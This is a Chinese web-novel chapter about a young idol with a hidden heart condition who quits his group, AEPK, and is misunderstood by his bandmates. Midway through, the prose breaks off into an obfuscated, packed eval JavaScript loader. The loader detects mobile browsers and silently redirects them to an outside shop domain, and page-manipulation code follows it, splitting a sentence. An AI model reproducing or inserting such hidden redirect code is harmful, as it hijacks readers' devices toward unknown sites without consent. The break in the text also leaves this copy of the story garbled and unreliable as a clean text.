消毒水的气味像一层撕不掉的薄膜，裹在骆闻阳身上整整半年。
白色是他世界里唯一的底色。白墙、白被、白灯、白病号服，连窗外漫天坠落的大雪，都白得刺眼，白得绝望。监护仪贴在胸口，冰冷的电极片隔着薄薄 的衣料贴着皮肤，绿色波形缓慢而微弱地起伏，每一声“滴滴”轻响，都在提醒他，这条命还在勉强撑着。
他靠在床头，后背垫着两床软枕，依旧撑不住轻飘飘的身体。
不过半年时间，那个站在跨年晚会舞台中央、唱跳全开麦稳如CD、一出场就引爆全场尖叫的少年，瘦得脱了形。脸颊深深凹陷，下颌线锋利得硌人，原本亮得盛得住漫天星光的眼睛，此刻蒙着一层疲惫的浑浊，唇色惨白，连呼吸都带着轻微的喘。手腕上留置针针孔密密麻麻，透明药液顺着软管缓缓推入，压制着心脏里随时会爆发的衰竭。
今天是他二十四岁生日。
也是他亲手埋葬自己星光的日子。
手机屏幕常亮着，停在AEPK官方微博刚刚发布的退圈公告上，文字简短冰冷，没有任何铺垫，没有半句解释。
@AEPK:“经成员本人与公司协商一致，AEPK骆闻阳因个人身体健康原因，即日起正式退出娱乐圈，终止全部团体及个人演艺活动，后续不再参与任何公开行程。感谢六年陪伴，祝未来安好。”
发布不过十二分钟，微博直接瘫痪。
#骆闻阳退圈##AEPK彻底解散##我的青春死在了大雪夜##那个小太阳再也不亮了#
热搜词条以秒为单位刷新，爆字词条铺满热搜榜前二十，服务器几度崩溃重启。
评论区从最初的不敢置信，瞬间沦为哭嚎海洋。粉丝割破了手也要控评的执念，路人追了六年的意难平，业内同行的唏嘘惋惜，混着黑粉的嘲讽、营销号的造谣、不明真相网友的谩骂，像潮水一样淹没了整个互联网。
所有人都在问。
为什么是他。
为什么是整个内娱最无解的全能ACE，是养成系天花板，是AEPK的灵魂，是千万人眼里永远不会倒下的小太阳，要在事业最巅峰、人气最顶端的时候，毫无征兆地退圈。
有人说他被资本封杀，有人说他恋爱塌房，有人说他红了飘了，嫌团束缚前途，有人说他和队友反目成仇，再也不愿同框。
那些恶毒的揣测、扎人的谩骂、诛心的谣言，顺着冰冷的屏幕，源源不断砸向这个连抬手回一条消息都费力的少年。
骆闻阳轻轻闭上眼，喉间涌上一阵压抑的闷咳。
他慌忙抬手捂住嘴，指缝间没有血迹，却满是窒息般的钝痛。
先天性遗传性心肌病。
这颗从出生就带着缺陷的心脏，陪他瞒了整整十六年。
小时候医生反复叮嘱，不能剧烈运动，不能熬夜，不能劳累，不能情绪大起大落，否则随时可能急性心衰，连抢救的机会都没有。可他太爱舞台了，爱聚光灯打在身上的温度，爱台下挥舞的灯海，爱和蔡希澈、王辉荟、余宇涵并肩站在台上的每一秒。
他从预备役替补，熬到绝境补位出道，陪着团队从无人问津的小透明，一路杀到内娱顶男团。
他以为自己能扛。
扛过高强度连轴转的行程，扛过昼夜颠倒的排练，扛过全网的黑通稿，扛过资本的层层施压，他以为自己能一直做那个笑着温暖所有人的小太阳，陪着三个哥哥走到白发，走到团魂不朽。
可他终究扛不住自己的身体。
成团第三年，病情开始失控。舞台上短暂眩晕，排练时突然心悸，半夜在宿舍捂着胸口喘到天亮，他全都藏得严严实实。紧接着资本入局，公司高层施压，拿队友的资源、前途、甚至过往黑料做要挟，逼他疏远团队、逼他独美、逼他做那个“背叛团队”的坏人。
他没得选。
解释，就会把蔡希澈、王辉荟、余宇涵全部拖进资本漩涡，让他们跟着自己一起万劫不复。
不解释，就只能独自扛下所有误解、怨恨、谩骂，亲手推开自己最在意的人，把自己活成全网唾弃的叛徒。
他选了后者。
刻意拒接合体行程，刻意不回消息，刻意在镜头前疏离冷淡，刻意摆出一副红了就厌弃团队的模样。
于是蔡希澈沉默失望，王辉荟封闭心门，余宇涵愤怒决
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17606099|205724||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
裂。
曾经说过一辈子不散的四个人，从顶峰相拥，走到陌路殊途。
直到半个月前，他在演唱会后台直接晕倒，送进急诊直接下了病危通知。医生拿着诊断报告，当着他的面，把话砸得决绝：立刻停止所有工作，全面住 院治疗，再硬撑，最多一年，必死无疑。
退圈，从来不是选择。
是绝境里，唯一能保命的路。
窗外的雪越下越大，纷纷扬扬覆盖了整座城市，也掩埋了他六年的青春、热爱、荣光，和那段再也回不去的旧时光。
骆闻阳缓缓睁开眼，目光落在床头柜那张泛黄的旧照片上。
是出道夜后台，四个人挤在狭小的化妆间里拍的。
蔡希澈穿着黑色西装，单手搭在他肩上，眉眼冷峻，嘴角却藏着极淡的温柔；王辉荟一身银白舞台装，安静站在身侧，难得露出一点浅淡笑意；余宇涵 红黑穿搭，单手插兜，一脸桀骜，却下意识往他身边靠；而他站在最中间，笑得眉眼弯弯，阳光耀眼，像一轮永远不会落山的太阳。
那时候他们一无所有。
却拥有彼此。
那时候他们对着镜头，对着彼此，认认真真说：AEPK永远不解散，一辈子一起走。
可现在。
星火寂灭，少年离场，四人离散，团魂蒙尘。
眼泪终于控制不住，从苍白的眼角滑落，砸在白色被单上，晕开一小片湿润。
他张了张嘴，声音沙哑得几乎听不清，轻得像一片落在雪上的羽毛。
“哥……”
“蔡队……二哥……三哥……”
“对不起。”
“我好想你们。”
监护仪的声音依旧平稳，却透着藏不住的虚弱。
大雪漫过长夜，那个照亮了千万人青春的少年，带着满身病痛、满心委屈、满喉难言，彻底熄灭了自己所有的光。
而城市另一端，三个早已各自登顶的人，在看到退圈公告的那一刻，同时坠入了无边黑暗。
他们不知道真相。
他们只以为，那个他们护了整整六年的小幺，是真的不要他们了。